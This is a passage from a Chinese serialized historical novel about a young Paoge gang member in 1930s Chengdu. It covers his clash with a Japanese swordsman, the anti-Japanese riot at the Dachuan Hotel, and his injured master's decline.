看来所谓的警卫,也根本没上什么心。周立行就这么左右看看,悄声上前,沉一口气使劲将那钉入墙内的木牌拔下,转身就溜。
第二日,周立行劈了木板当柴烧,给黑老鸹炖了一瓦罐的稀饭。
黑老鸹就着东坡泡菜,吃得可开心了。
接下来轮着方结义说的其它堂口派人去偷,当然那日本人也不是傻的,牌子被偷第二次,他们便把挂牌放在了铁门里面,并且严格执行夜间守卫制,据说其它堂口已经有兄弟被抓了。
然后又被警察局悄悄给放了。
这一次轮着周立行,他谨慎了许多。
他白日里就去金河街找了个地方,藏起来睡觉,减少路上的行程。他等大半夜快天明,人最困的时候,才摸去。
然而周立行这次,却失算了。
那牌子被偷了好几次,日本人那边自然也要采取措施,便在那牌子周围设了机关。
周立行翻墙容易,偷东西却着实没有经验,也不知道是怎么回事,刚准备动牌子,突然就警铃大作。
周立行暗叫不好,逃跑的同时还想着要把那牌子给摘走,哪知那牌子是被水泥焊死在墙上的,根本抠不下来了。
当机立断,周立行掏出匕首,狠狠地在【大日本】的大上面刻了一笔,把【大】刻成一个【犬】字,转身就飞奔。
然而他在前面跑,警卫们瞌睡被惊醒,出来就是一顿猛追。而那日本人里也有气不过的,叽哩哇啦地举着枪跟着追来。
这下可好,一大群人嗷嗷呀呀地追,周立行在前面咬紧牙关蛇形奔跑。没跑出去都远,砰!枪响了!
子弹擦着周立行的大腿过去,虽说没射中,却擦破了衣服皮肉。他正处于紧张逃跑的过程,暂时没有感受多大的疼痛,但既然身后的人开枪,那么很有可能是被多日偷牌子搞怒了,说不定今日要下杀手!
如此想着,周立行更是亡命狂奔,他在道路上没跑多久,突然意识
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到这样不是好办法,他得用自己最擅长的!
山林之间他最擅长的是攀爬峭壁,林木腾跃;平地奔跑还真不算他的强项。
于是他爬墙跃顶,不再沿着路跑,而是从人家户的院子里跑,从房顶屋檐上跑。
这下警察们傻眼了,这是哪里来的江洋大盗,在屋顶瓦檐上跑得跟只猢狲一般,手脚并用速度极快,他们一拥而进一家院子,人家已经从翻过了这条巷子,这还逮个屁啊!
就在这时,追出来的里,猛地蹿出去了一个同样身手敏捷的日本人,他竟是穿着传统和服,身上挂着一把武士刀。
这个男人个子不高,却极为敏捷,骤然发力之后,竟然追了上去。
周立行一路翻墙跑瓦,难得地找回了当年在峨眉山间翻腾的感觉,一股子神清气爽。
他以为自己已经摆脱了追击,再翻入一条无人的商业小巷后,停下来稍作休息。
哪知唰地一声,一名日本人也翻入小巷,落地如虎蹲,蓄势待发。
周立行转身站定,看向那日本人,两人四目相对的瞬间,那日本人人狠话不多,直接冲上来。
毫不废话,直接开干!
那日本人没有拔刀,他出于武士的直觉,意识到眼前这个偷牌子的小毛贼,是个武术好手。
他来成都,本是想去参加打金章的盛会,拿下一枚中国国术的金章,展现大日本帝国的威武。
然而成都的反日情绪高涨,这边的上级不同意他节外生枝。
陪同的警察局的人,还说什么双拳难敌四腿,到时候一群武林高手一拥而上,踩都能把他踩死,气得他把那警察打了一顿。
此刻,他终于有了机会,必然是要好好较量一番。
周立行可不知道这日本人有什么想法,对方没有拔武士刀,周立行便也没有动他的枪——冷兵器,一寸长一寸强,他的小匕首可对不了大长刀,但热兵器可以。
日本男人上来便是空手道的冲拳,力道带起的劲风,竟如当日黑熊布和一般。
周立行闪身躲避,右拳直捣对方肝脏。
两人便这般缠斗起来,日本男人空手道拳法腿法凶狠,周立行江湖路黑招杀招阴毒,两人打得异常激烈。
一连走了几十招,打得小巷烟尘四起,碎石乱飞,日本男人没有占到一丝上风,反倒是被周立行灵巧地蹬了好几下裤/裆。
巷外传来了咋咋呼呼的声音,追来的人已经接近。
周立行不想再打,一心想要脱身。
没想到那日本男人却觉得伤了面子,趁周立行格挡后转身逃走的时机,假装不追,却是突然抽出武士刀猛劈而来。
周立行一时未防,一个蹬地侧下腰躲过致命一击,对方却未曾手刀,而是对着他的脖子斜劈而来!
周立行躲无可躲,千钧一发之际,掏枪便射!
第一下,未开保险,扳手按不下!
日本男人见枪,被吓了一大跳,肌肉反应自动调整了刀的方向,直砍周立行手臂而去!
周立行扭身躲避的同时大拇指开了保险,又是一扣!
砰!
枪响的同时,周立行的手臂也挨了一刀,那手枪坠地,巷口已经冲来了人,他来不及捡枪,转身蹬地上墙,飞快地逃离,也没管那日本男人的死活。
*
周立行不辩方向地一通乱翻,待到身后的追喊声隐约不可见时,总算是松了一口气。
这气一松,右边手臂上火辣辣的刺痛传来,加之一路上伤口失血,此刻他一口气接不上,哗啦一声从屋檐上溜了下去,摔进了院子里的太平缸。
这番动静,惊动了院子里的人。而恰好,院子的女主人做了一夜噩梦睡不着,自个儿一个人抬了竹椅子在院子里坐倚着,准备等着看日出。
日出没等到,到是等到一个人掉进储水防火兼养鱼的大缸子里了。
周立行从缸里挣扎着抬起头,入目便是王喜雀有些吃惊又有些好奇的脸。
“姐……”周立行张嘴还没有说话,王喜雀立即捂住了他的嘴。
29.成都
“我闻到血气了,你受伤了?”
王喜雀语速很快,她机警地打量四周。
周立行点头。
王喜雀伸手把周立行的头按进了缸里,转身便看到一个管家婆子迷瞪瞪地从屋里探出头,询问道,“什么声响?”
王喜雀佯作怒意地回道,“我心里不高兴,把花盆砸进水缸了。怎么?你要管?”
那婆子闻言便往屋内缩,“太太你慢慢发火,婆子我还要再睡一睡。”
说着立马关门进去继续睡觉。
王喜雀用同样的方式回答了外院的询问,才把脸都要憋青的周立行从水缸里拉出来,悄悄地把他带进了客房。
王喜雀见他周身湿透,腿上又有伤,想说拿一套衣服给他换。
可客房没有男性衣物,且男人衣服若是少了一套,不知道要惹出天大的祸事,加之自己这个院子也并不安全。
王喜雀略一思索,只得去拿了一套自己的衣物,并手脚麻利地剪了一块枕套,准备给周立行绑伤口。
周立行连连摆手,他躲在角落里自己简单绑了下大腿,倒也没害臊,请王喜雀帮忙绑好手臂,再换上王喜雀的衣服,用花布包了头,如此乔装打扮了一番,悄悄摸摸地从后门跑了。
*
周立行穿着一身女装,出了王喜雀的院子,也没马上就回,而是找个街角躲起来,等天亮了才往回走。
这一带的路上确实有了许多检查,然而那些打着呵欠的警察们并不怎么认真,日本人毕竟没几个,守得了这里查不了那里。
女装的周立行没引起什么注意,他回黑老鸹那时,一夜未眠的黑老鸹还点着灯等他呢。
虽然跑江湖总是避免不了受伤,黑老鸹还是有些心疼。他觉得自己确实是老了,心软,干不成什么事了。
周立行难得见黑老鸹那么低落,便将自己同一个日本人比斗的事讲出来,还说自己开枪了,不知道打死人没有。
黑老鸹又听得兴奋起来,拍着手叫好,“最好是打死那个狗日的!龟儿子些,欺负我们中国,该死!”
周立行见黑老鸹情绪回来了,才放下心,他当着黑老鸹的面脱下王喜雀的衣衫,换成自己的衣服。
黑老鸹围着周立行转了一圈,检查了他手上的伤口,给他重新拆了给他消毒,用家里的棉布带重新绑好,才开始戏谑。
“这是哪个美人儿救了你呀?衣服都给你穿回来了,啧,有点意思哦……”
黑老鸹非常期待,小徒儿是不是有正缘艳福了!
周立行脸一红,有些羞窘,“是喜雀姐……”
“……”
孽缘!黑老鸹眼前一黑。
“你还真的是会跑哦,故意的吧!跑去喜雀家,呵呵,想让喜雀心疼你?”黑老鸹恨铁不成钢,开始无情嘲讽。
“你才不怕害了她哦,这要是她男人在家,你倒是跑了,她要被你害死!”
周立行愣了愣,“我不是故意……”
黑老鸹鼻孔里出冷气,“是,你是不小心的,呵呵……谁信,去问下你方大哥信不信!”
周立行无语了,脸上的红褪成了无奈的白,他最终什么也没说,只是好好地把那套镶边绣花的衣服收起来,舍不得洗。
不管黑老鸹摆不摆脸色,也不管方结义知晓之后,气得浑身颤抖无语凝噎,周立行坚定地把那套衣服用一块红布袋子装好,放在了枕头下。
他狗鼻子灵,隔着枕头和布套都能闻到,衣服上的香味,这样每一晚,都能梦到喜雀姐。
*
从周立行这次遇险后,袍哥们便不再偷牌子,他们发现,直接把大字上面加一笔,搞成犬,更简单方便些。
各处的茶馆都在骂狗日本,狗日的龟儿本,这般市井无赖般的做法,搅得此事乌烟瘴气,却谁也没有办法制止民间的嘲笑言语。
那个日本人死没死,方结义没打听到,但小师弟落在现场的枪,却引发了一些连锁反应。
原本日方是言辞激烈地叫嚣着,必须杀鸡儆猴,把当晚之人抓出来严查彻办。
结果,那落地的手枪上,竟有特殊的编码,款式也不是普通货色,查来查去,到是查到了蒋老大的贴身卫队上。
这事便透着一股子古怪荒唐了。
四川这边干脆将头一别,搪塞了事;南京那头丈二和尚摸不着头脑,自己内部刨了一遍,也找不到是那个派系去干的。
卫队那边最后给的解释,他们在峨嵋山丢过几只枪,是被猴子抢的。
日方听了,皮笑肉不笑,只当是政府给的嘲弄,暗喻他们被猴耍。
最终,经过一个多月的扯皮交涉,日本还是被迫取下了木牌。
毕竟挂在那里,稍微不小心就变成犬日本帝国,也没意思。
他们有更大的野心,不屑于再逞口舌之快。
*
成都城里的风愈发暖和,大街上来往的人衣衫渐薄,妇女们头上的花朵从白玉兰换成了黄桷兰,然后又戴上了茉莉和杜鹃。
接下来的日子过起来飞快,街头巷尾关于抗日的议论愈发的多,好些嗅觉敏锐的商人们开始把资产往西南转移,成都这边多出好些下江人。
周立行在茶馆结识了一群学生,听他们讲平津那边有学生组成南下抗日宣传团,还听他们唱了一些进步歌曲,后面又从那些学生手里看过《东征宣言》。
虽然关于红军、共产党的消息只能私下悄悄说,周立行还是东平西凑地听了许多。
到了六月,贼心不死的日本政府,不顾中国政府反对,直接任命原驻华大使馆中国情报部部长岩井英一为驻蓉领事,强行在成都设立领事馆。
这一消息在报纸上披露以后,举国震惊,舆论哗然,群情激愤。
国民政府不同意,可日本才不管你同不同意呢,他们志在必得。
日子越是往后走,整个成都城的抗日氛围日渐炽热,各大茶馆有愈来愈多的人讨论抗日,时不时有人群集中高呼,兴起之时还会成群结队乌泱泱地去当街辱骂日本。
用金钱板的,用曲儿唱的,什么款式的四言八句都有,骂得辛辣的很。
警察们则隔三差五要警示茶客们勿谈国事,时不时还要在大街上驱散集众,然而卵用没得,没人理会警察,大家甚至聊得更多。
*
八月,夏日炎炎,蚊虫繁盛。因得太热,大部分茶馆里放上了人力风扇,由那苦力工轮番转动机械把手,让大风扇隔着大水缸为茶客们吹风,使得茶馆生意不至于低落。
此时正是农闲,成都平原上,依托都江堰河水的稻谷还未长成,大量的人无事边到茶馆打牌喝茶,论天论地。
这一日下午落了一场雨,出门赴约去警察局看戏的方结义,突然回堂口。
他一进内院,马上说要开内部堂会,让门房立即去把堂口的几位爷和骨干们都喊回来。
周立行这个小幺哥按理说是没资格的,但方结义进茶馆的时候看到了他,便顺手把周立行也给揪了进去。
无奈的周立行只好垂手靠墙站在角落里,听一群袍哥们论事。
“之前那个日本领事馆的事情,大家晓得噻,今年二三月份闹得那么厉害,说是不设了!结果这个月,国民政府外交部竟然同意了!“
“安?!这国民政府答应啊?”
“锤子哦!一群耙蛋!”
“嘿,国民政府有啥子不答应的呢?东北给日本人占了,华北给日本人占了,妈哟,这来四川设领事馆,是不是要把我们四川也占了嘛?!”
“那肯定撒,设了领事馆,大批日本人就要来做生意,要不了多久日本军队就来了!到时候……”
众人骂成一团,各个神情激动,个个都觉得被愚弄了。
“重庆那边,暂时把岩井英一拦截了!”
“听说那个岩井英一想到成都来,重庆那边不给他签证,还通知了所有卖飞机票、汽车票的单位禁止卖给日本人去成都的飞机票或者汽车票,也通告了成都这边,说是禁止成都的宾馆饭店私自接待日本人。”
“重庆兄弟伙啷个挺得起,我们也不能落下风噻!”
“听万县、涪陵、重庆那边的兄弟伙们传的消息,狗日的日本人说要以私人名义到成都旅游!说的好听,狗日的绝对不安好心!”
方结义抬手用铜老虎敲了敲桌子,示意大家安静,他开口道:
“我这边得到的消息,社会各界都不得认南京那边政府说的锤子领事馆。明天开始,上百只宣传队会去四川城乡各地搞宣传。川社会各界民众游行,发表了《告四川7000万同胞书》,绝不答应!”
周立行在角落默默地听着,原来警察厅把各位龙头大爷喊去看戏,看的竟是这场戏。
“我们袍哥各堂口也参加,所有茶馆都把气势造起来!”
众人高声附和!
“要得!”
“设他龟儿的锤子!”
“领事馆,批事馆!”
“狗日的日本人还敢来成都,弄死他龟儿些!”
“哪个宾馆饭店敢接待,老子就要去砸店!”
……
众人又是一阵怒骂后,方结义打了个总结。
“当年我们袍哥兄弟伙能血守铁路不交外国人,现在我们袍哥兄弟伙一样干得起事!”
“刘军长要卖蒋中正的面子,不好明面动手,我们这些江湖人士虚锤子!成都这边各大堂口都放了话,要让那群日本人,有来无回!”
周立行内心闪过那一份染血的报纸,他想起当时在重庆路边上振臂高呼的学生,想到了黑老鸹突然赶回成都的急迫。
好像冥冥之中,一切都是定数。
然而,一片激昂声中,也有人会提问。
“警察局那边怎么说?”
“不会让我们当炮灰撒!”
“就是嘎,我们去冲去打没问题,到时候警察不得背后给我们打黑枪嘛!”
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“万一说一套做一套,拿我们去卖了…”
方结义笑了一下,他知道,自己手底下一群人鱼龙混杂,吹牛皮冲壳子的时候,人人口里都敢杀皇帝!
但真的要去卖命干事,他们也是会迟疑的,会考虑后果的。
“这个大家可以放心。成都警察局局长范崇实,以前在重庆当警察局局长的时候,因为抵制日本海军陆战队上岸军事演习,被日本领事召谷廉二铲过耳屎(打耳光)。这次我们要干的这个事情,他不仅清楚,还支持呢,绝不得搞自己人。”
听方结义这么说,众人总算是放下了心,纷纷散出去传递消息了。
各方势力都行动了起来,暗流涌动即将成为惊涛骇浪。
当日,整个成都的茶馆都知道了日本人要来设领事馆的事情,群情激奋。
第二天,社会各界代表200余人在中山公园召开“反日设领大会”,围观民众愈来愈多,警察出动却不驱散,甚至站在旁边跟着一起喊口号。
大街小巷突然一夜之间贴满了“反对日本帝国主义在成都设领”“严惩汉奸”“驱逐日寇”“还我东北”“安内必先攘外”等标语。
第三天,岩井英一等人乔装打扮,换了西南地区商绅的日常服装,化名之后悄悄地到了成都大川饭店。
然而,大川饭店里服务员却听到了他们夜里用日语交谈,立即把消息透露出去。
这消息立即通过各堂口,传遍成都各大茶馆。
四川警备部见风雨欲来,部内一些亲日分子在得知岩井英一等人到了成都,便赶紧派人去秘密保护,并劝阻他们不要外出,注意安全。
然而,24日早晨,这些日本人脑袋冒泡了,一意孤行要出城游览,警备部只得派警员陪同前往。
几个日本人从东门望江楼、青羊宫,一直到外西草堂等地,遍游成都的名胜古迹,沿途多处购物。这一路,经过多少茶馆,被多少眼尖的人看在眼中,不言而喻。
茶馆里的人频频侧目,随行警察见愈来愈多的人莫名聚集,立即劝说日本人返回饭店。
回店不久,立即有人到大川饭店询问,所到日本人是否就是日本准备强行来成都的岩井。
警察们连忙否认,但来人也不知信也没信,转身就走。
第四日,东大街、红照壁、总府街、祠堂街、皇城坝这些闹市区,人群聚集,青年学生激情满怀地演讲,东北流亡青年声泪俱下地控诉,群众情绪一层层地被激发。
数千人举着横幅示威,这些游行的人既有爱国学生,也有工人商人,甚至成都市军警和国民党复兴社组织的童子军也都参加了游行,当然也少不了平日里就游手好闲且好勇斗狠的袍哥。
黑老鸹自从听闻了这件事,茶不喝了命不算了,日日上街东走西串,整个人像是被点燃了一般。
他一连几日都在给自己算卦,算着算着就会仰天大笑。
周立行不知道黑老鸹怎么了,问他,他也不说。
因这段时间茶馆事多,周立行得去帮忙,也没有太多时间跟着黑老鸹。
直到示威这一日,黑老鸹一大早起来就跑,周立行总觉得心中不安,干脆没去茶馆,专门去跟着黑老鸹。
黑老鸹个人都跟着亢奋得很,见了游行队伍,不管不顾奔着就往里冲。
周立行本只是跟在游行队伍的后面,见黑老鸹一边嚷嚷着驱除日寇,一边冲到了前面,只得跟了上去。
这游行队伍在成都城里走了个大圈,跟随的人员越来越多,到了下午六点左右,领头的人带着上万人的队伍围聚了大川饭店,质问饭店为何留住日本人。
那时,警察们也接到消息,荷枪实弹地早早地把饭店围着,防范游行队伍做出过激行为。
饭店老板自从听说自家留驻了日本人,当晚就吓得跑出成都城了,生怕被当成汉奸,遭袍哥们抓去三刀六洞。
留在大川饭店的经理心中骂了不知道几万遍老板,此刻和所有服务员以及工作人员一样,躲在店里不敢出来。
那日本人渡边洸三郎大约是在其它地方被捧惯了,觉得大日本帝国威严不容挑衅,再加上有上百持枪的警察守着饭店,他没把成千上万的民众放在眼里。
毕竟,东北三省的军队也是蒋中正一声令下就撤走的,这种穷乡僻壤的西南弹丸之地,又敢干出什么事?
于是渡边洸三郎揪着店里经理狠狠扇了几耳光后,整理下衣服,自己走出去,准备教训下这些愚民。
渡边洸三郎的汉语口音偏江浙一些,态度十分盛气凌人,他不仅敢出来,还敢大声呵斥队伍的领头人。
“我们是经过南京同意,来四川出公务的!你们这些无知民众,若是坏了大日本帝国和国民政府的外交,统统滴都是死罪……”
渡边洸三郎出言怒骂,叽里呱啦,越说越听不懂。
这时人群里传来一声大吼,“他龟儿子卷我们,说要弄死我们!”
“锤子!老子要弄死他们!”
30.成都
群情激奋之下,一旦有人带头,场面立马就会失控。
人潮之中,十几名早有准备的男子怒骂着冲出,直扑警察设置的隔离圈。
这冲出来的几十个男子是什么身份,大家不知道,但混在其中的其它袍哥兄弟们立马跟着就上了,瞬间跟那些警察打成一团,怒火高昂的人们立即自发跟随前进。
警察们面对汹涌的人群,根本不敢开枪,或说他们也不愿意开枪,为了保护日本人去打死自己人?那是瓜批憨儿才干的事情!
再说了,谁知道那么多人里,有没有自个儿的亲朋好友呢!拦个卵哦拦,做哈样子得了!
只需一瞬间的拉扯,渡边洸三郎便被人群淹没了。
群众的叫喊声、抗议声、声讨声响成一片,石块、瓦片、木头纷纷被丢进大川饭店里。
此时,有人放火烧大楼,秩序更加混乱。
警察要救火,又要保护日本人,应接不暇,只能是勉强尽忠职守,回头带着还能看得到的日本人开始逃窜。
混乱之中事件开始失控。打砸从大堂开始,往上蔓延。
人群中有人似是组织者,高喊着不要乱砸,先打日本人,好歹才把人群引去追被警察带走的日本人。
黑老鸹也在这拥闹的人群中,铺天盖地的怒吼声打砸声,着怒不可遏的呼喊声叫骂声,凝奏成熟悉的旋律,叩开了他封沉的记忆……
他听着,感受着,热血冲上他的头顶,理智荡然无存,他耳边一阵嗡鸣,眼前的一切仿佛发生了逆转……
他好似看到了自己年轻的时候,振臂一呼,袍哥人家们提刀挎枪,在同盟会的指引下,杀向清廷军队,敌人溃败四处逃窜,他们热血满腔一往无前……
那是他最辉煌的岁月,他浑身是力气,四处是兄弟,白酒论斤喝,豪气冲云天。
可是后来,可是后来……
后来,他发现清廷灭亡了,但汉家大业并未成就。
那些理想如同云霞,日出之时明媚灿烂,好似如日当空的光明日子即将到来。
然而,转瞬间,倾盆大雨便落下。
清廷亡了,贫苦百姓的日子,竟过得比以前还差!
外有强敌环伺,内有军阀割据,上有天灾,下有人祸。
兄弟们并非铁桶一块,每个人都有自己的想法。绝大多数人想要的,只是自己的富贵荣华。
天下无不散的宴席,天下无永恒的朋友,他黑老鸹看着亲朋故旧一个个分道扬镳,甚至有些反目成仇。
当初的拼杀,是为了复兴汉家,现在的拼杀,是为了什么?为了权力?地位?金钱?女人?
可笑……可悲……
他看透了一切,辞去地位,散去金银,他游走四方,蒙混度日……
但在这一刻,黑老鸹突然又看到了希望。
他看到民骨未断,如此多的青年男女血性炽热,他从各路人士中得知,上到高官下到民夫,仍有许多愿为理想赴死之人,华夏精魂,从未断绝!
他仿佛找回了年轻时候的自己,他突然又想活了,他找到活下去的目标。
昔年反清壮志酬,如今抗日豪情高!
廉颇虽老又如何,一腔热血犹可抛!
黑老鸹双目赤红,气从丹田起,志向两肋生,他怒吼着,咆哮着,跟着人群去追日本人!
周立行生怕黑老鸹在人群推攘中摔倒被踩,只得一路跟在后面追。
警察护送着日本人上了汽车,民众如潮流般跟涌而上,那小汽车夺路狂奔,慌不择路,沿着公路往东大街直奔春熙路。
周立行一个头两个大,虽然他也激动不已地向大川饭店扔了石头,还在一团混乱里向那两个日本人狠狠踏了两脚命门,但他没想到黑老鸹能这么冲啊!
六十岁出头的老年人,又是常年走江湖,身上多的是暗伤,要是在这汹涌人潮中出了事儿可怎么办!
周立行心急火燎地一路跟着人群狂奔,可人太多了,周立行早看已看不到黑老鸹的身影,他浑身冒汗,心急如焚!
事件已然失控。
人群到春熙路之后开始分散,此地有长期贩卖日货的宝元蓉、益敬恒等商号,愤怒上头的人群开始打砸日货商店,将商号的货品扔到大街上踩踏。
人多了,必然不是一条心,趁机抢东西的也不在少数,人和人之间的推攘变得更多,一些在春熙路购物的普通人也遭了牵扯。
一些跟着抗议的闲汉见有人抱着购置的货品在走,便上去抓着质问是不是买的日货,若是买的日货,便要抢摔人家的东西。
找寻黑老鸹未果的周立行,正在六神无主的时候,回头刷过一个熟悉的人影。
他定睛一看,竟是王喜雀和那个婆子!
几个男人正不怀好意地围了王喜雀和婆子,有两人抓扯着婆子手里的东西。
“我们这不是日货……是洋火,火柴!”婆子不肯撒手。
“你们有本事去打日本人啊,咋的抢自己人的东西!”
“把东西丢给他们检查就是!快放手!我们走!”
王喜雀很生气,她伸手去打婆子的手,这般情况下,还在意是什么东西啊,丢了东西快离开这是非之地才对。
可那婆子执拗,加之她本就是木茶商派来,专门监管王喜雀的人。心里并不很服王喜雀管,所以竟无论如何都不放手。
那几个男人见婆子如此,两人去拉王喜雀,两人按住那婆子,直接当街开抢。
拉王喜雀的两人手脚不太干净,竟直接一人从侧面搂抱住王喜雀,一人从另一边伸手占便宜。
这时,一脚飞踢踹开了占便宜的男人,搂抱王喜雀的人也被来人一招擒拿手直接卸了胳膊,哇哇惨叫!
“弟娃!”王喜雀惊魂未定,赶紧躲到周立行身后。
来人正是周立行,他双眼通红,额上青筋迸显,杀气蒸腾。
被踹倒地那个男子嘴里本还喊着“那个狗杂种踢我”,看了周立行凶神恶煞的状态一眼,顿觉脊背发凉,汗毛倒数,立马爬起来就跑。
被卸了胳膊那人更是知道遇到硬茬,不敢招惹,跑得更快。
这种本是抵御外辱的游行示威时刻,却能对着本国人、尤其是老人女人施以暴力的渣滓,自然是欺软怕硬之徒。
剩下的男人们,在见到有凶神恶煞的练家子来了,便都是脚底抹油溜的极快的。
那几人跑了,可街面上依旧乱作一团,群体性的愤怒被点燃后,很难自然消退,其中趁火打劫和故意捣乱的人也多。
周立行一时陷入两难。
让王喜雀和这个拎不清的昏头老婆子自己回去,这一路上会不会再遇到什么危险?
可……不及时去找黑老鸹,这个明显热血冲允头的老头子,会不会也遇到危险?
王喜雀见周立行站着没动,满脸焦急,便问道,“弟娃,怎么了?”
周立行摸了一把额头的汗,“我师父跟着游行队伍跑,失散了……”
王喜雀何等聪明的人,她立即意识到周立行在犹豫什么,便拉着那婆子往旁边走,边走边说道:
“你不用担心我们,我们就近马上找一家大茶馆,要个包间进去关门等,街面什么时候平安了,我们再回去。”
“快去找你的师父吧!”王喜雀轻轻推了周立行一把。
周立行眼望着王喜雀,她一向梳理光亮的发髻有些散乱,眼睛里尚且残存着受惊的忐忑,却摆出一副大姐姐该有的坚强姿态,要他去做自己的事情。
这一刻,周立行想到了曾经在重庆走散的那一次,黑老鸹是个老江湖,应该是懂得如何照顾自己的。
而王喜雀,若是在这一路上遇到麻烦,她是能打人还是能杀人?
心中的天平倾斜,周立行拿了决定:
“躲在附近的大茶馆也不是办法,我先送你离开!”
*
每个人一生都会面临很多选择,站在命运无穷尽的分叉路口,每一次选择,或许都会走向不一样的未来。
但也有人说,某些既定的轨迹,是难以改变的,即使你今天走了东边,明天也会绕回西边。
黑老鸹说他自己算过,只能活一年半载,谁也不知道他是算出来的,还是想出来的。毕竟一个当过袍哥大爷的人,无妻无子,浪荡半生,也许可能真的是活够了呢。
方结义当他是胡扯,周立行则当他是如同老主持那边有天人感
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应。
但谁也没想到,他生命的流逝,始于一场难以遏制的热血上头。
周立行也曾经想过,如果那一日,他没有送王喜雀回去,而是坚持寻找,是否一切会有所改变?
然而,没有如果。
那一日天色已晚,周立行急匆匆送王喜雀和那婆子离去,也并不算走得很远,转过两条街人群便少了。
他找了两个黄包车师傅,问清楚对方的车行和组织后,嘱咐他们一定要把人送到家。
那两个黄包车师傅讲自己就是成都本地人,保证办事妥帖。
周立行便立即回春熙路,继续找黑老鸹。
然而,也许就是这么一小段时间,等他找到的黑老鸹,他额头撞破、气息微弱、昏迷不醒地横躺在路边,四周围着好些人。
据周围的人说,这老头十分英勇,追着那载日本人的车辆一路到此。
许多人都在围追堵截,那开车的人为脱离险境不分青红皂白地乱撞,周围的人不敢上前。
黑老鸹却非要冲出去拦车,猝不及防被那汽车转向甩到,撞向街边的墙棱,就那么倒了下去。
周立行浑身发冷,颤抖着把黑老鸹背起来,这许久以来从未流过的眼泪,啪嗒啪嗒地往下滴。
他背着黑老鸹跑出了乱糟糟的春熙路,跑过石板街道,跑回忠义茶馆。
天色已黑,茶馆里人少,周立行哭着背回来黑老鸹,留守的二爷见了,吓了一大跳。
二爷摸着黑老鸹还有脉象,赶紧让周立行带人送黑老鸹去街上堂口长期合作的医馆。
那一夜,成都城里喧嚣半夜,直到守备部队进入,才控制了局面。
那一夜,周立行守着昏迷不醒的黑老鸹,泪洒床榻,彻夜未眠。
*
老年人最怕跌跤碰撞,骨头易碎,康复艰难。
黑老鸹这一跌倒和撞击,不仅大腿骨折,额头骨折,最重要的是颅内淤血,导致昏迷不醒。
前三天,周立行不吃不喝不睡觉不说话,就那么木楞楞地守着黑老鸹,谁来拽他打谁,大家把他没办法,就由着他那般。
方结义忙着处理外面的事情,等他回来知道这事儿,二话不说把周立行抓出去锤了一顿。
“你是要咋子嘛?!师父死了,你要殉葬吗?!那我成全你,打死你个没用的东西!”
方结义鬼冒火,他并不责怪周立行,毕竟黑老鸹那性格向来就是想干嘛干嘛,神仙都拉不住。
可周立行这般样子,是要自责自尽吗?
周立行哭了,他趴在地上使劲用拳头捶地,发泄着内心痛苦,可那是他当时的抉择。
“我去送别人才耽搁了时间……要是我去早点……”
“袍哥人家,沟死沟埋,路死插牌!他黑老鸹当年就是这样教老子的!他早八辈子就做好了去死的准备,这关你屁事!”
“他又不是奶娃子,要你抱起走!你跟着他,也帮不了他!害他的不是你,是那些狗日的日本人!”
方结义抓着周立行的衣领把他拎起来,他心里也难受,毕竟是当年一手带大他,传他武艺,还给他立身之本的师父,但是他拎得清!
这仇这恨,应该记在日本人身上!
周立行突然嚎啕大哭,他抱着方结义不撒手,喉咙里发出嘶哑的吼叫,“我恨,我恨我自己,我恨他们,我后悔……”
方结义抱紧了周立行,拍着他的背安抚。
“还没死呢,别哭了,留着眼泪灵堂上再哭吧……万一,这一坎他又迈过去了呢……以前他也是出生入死的……”
“他老了……他们都老了……家婆老了要死,老主持老了也要死,现在轮着黑老鸹了,这个混账还说当我干爹,现在又要死了……”周立行哽咽着。
“我又要当孤儿了……”
方结义婆娘数不清,娃儿满地爬,可他依然被周立行这句我要当孤儿了戳到痛处。他当年也是孤儿,可至少,他有黑老鸹拉扯着长大。
“你不是,你有家,我是你大哥,你有十七个侄儿男女呢。你跟着我,我给你娶媳妇儿成家,你会子孙满堂。”
方结义拍着小弟娃的背,许下了他根本做不到的承诺。
31.成都
昏迷五天后,黑老鸹以极强的求生欲,催动自己转醒。
众人都很高兴,可方结义看得出,黑老鸹已经是强弩之末了。
因猛烈撞击,黑老鸹的脑袋里有淤血,这淤血让他思维不清,说话含混,并且身体偏瘫。
脑袋里的淤血若要取出,必须得开颅手术,街道上的小诊所不敢做这么高难度的手术。
而此时的四川省官办的医院只有新都实验县卫生院1所,省会成都无一所公立医院和公共卫生机构,只有少数外籍教会版的私立医院或私人诊所,剩下的便都是中医堂馆。
便是如此,周立行还是带上黑老鸹和自己所有的钱财家当,送他去了一趟教会医院。
然而那教会医院一通检查后,没有接收,他们说救不了黑老鸹。
周立行这下死了心,带着黑老鸹回了家,照顾他最后的日子。
王喜雀不知得此事,费尽心思找了许多名贵的药材,在一个下午上门来看望黑老鸹。
那日午后下着小雨,四处潮湿,周立行在屋子里生了一炉煤炭火,烤着屋内的湿气,同时炖着肉粥。
方小荷听着有人敲门,出去一看是个漂亮大姐姐,带着一个老婆子,便直接请人进来。
周立行听着王喜雀来了,却生出胆怯之意,他不后悔当日先送王喜雀,可自己身上总觉得有了负罪。
这些时日,纵然因为黑老鸹的事情,他满心愧疚,可他依然时不时地想到王喜雀,想到她安全地回家,没有受到任何伤害,他心中便会有一些庆幸和欢喜。
可他又会想到,黑老鸹对他更好,救过他,教他那么多事情,带他来到成都,给他安身吃饭的地方,比起王喜雀,黑老鸹对他更有恩情,他却因为女人丢了师父。
王喜雀站在院子这边的廊檐下,周立行站在院子那边的屋内,他们两人隔着雾蒙蒙的院子,相互都不太看得清。
可王喜雀却感受到了周立行的酸涩纠结,她垂着头,默默地将带来的药材交给方小荷和方小梅,没有再往前。
“弟娃,感谢你那日救了我和孙婆子。”
王喜雀温柔的声线带了些难过,“这是我和孙婆子为黑大爷准备的药材,东北的老人参也备了几株,希望黑大爷能尽快痊愈。”
孙婆子虽是那木茶商派来看管王喜雀的,但那日街上被救,她也是懂礼数的人,后来又听上门送信的是谷娃儿和石娃儿说了黑老鸹受伤的事情,所以这趟看望她不仅答应了,还从自己的私房里拿了一些钱,并且答应不过问王喜雀买什么药材、用多少钱。
眼下见王喜雀隔着院子跟周立行说话,孙婆子心里不知怎么回事,竟莫名有些难受。
周立行很想快步走过去,站到王喜雀身边,好好地看看她。可此时此刻,他像是被绑住蹄子的马儿,心里奔腾着,身子却动不了。
“嗯,好。”周立行心里有千言万语,却一句都说不出来。
王喜雀点点头,轻轻叹了口气,带着孙婆子告辞了。
自此之后,周立行的话更加少了,除了和黑老鸹对话外,他几乎不与外人交流。哪怕是方结义来了,他也只是答应一声,再不吭声。
每日里,他会给黑老鸹擦拭身体,翻身按摩,会抱着他去如厕,细心地喂他炖煮软烂的食物。
